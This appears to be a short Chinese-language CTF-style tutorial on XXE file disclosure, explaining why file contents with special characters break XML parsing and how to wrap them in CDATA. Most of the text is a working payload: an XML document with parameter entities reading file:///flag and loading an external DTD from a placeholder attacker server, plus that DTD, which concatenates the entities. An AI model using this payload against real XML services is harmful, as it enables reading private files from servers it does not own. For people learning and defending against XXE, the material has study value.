XML CDATA XXE
2024-01-02 Skill

在正常使用xxe任意读取文件时,
如果被读取的文件中有特殊符号,XML解析时会产生错误,
此时需要用CDATA,CDATA区段中的文本会被解析器忽略。
另外,任何特殊字符在XML中都要被替换为实体引用。
CDATA的格式是引用的两边加上 <![CDATA[]]>
但是内部参数的实体引用是被禁止的,

Document: https://www.w3.org/TR/xml/

Well-formedness constraint: PEs in Internal Subset
In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)

所以我们都要写成各个实体的形式,
最终拼接到一起就需要用到外部参数实体

//payload.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE spirit [
        <!ENTITY % start "<![CDATA[">
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % end "]]>">
        <!ENTITY % dtd SYSTEM "http://<server_ip>:<port>/concat.dtd"> %dtd; ]>

<spirit>&all;</spirit>
//concat.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%file;%end;">

concat.dtd 部署到远程服务器上并在靶机上使用 payload.xml 即可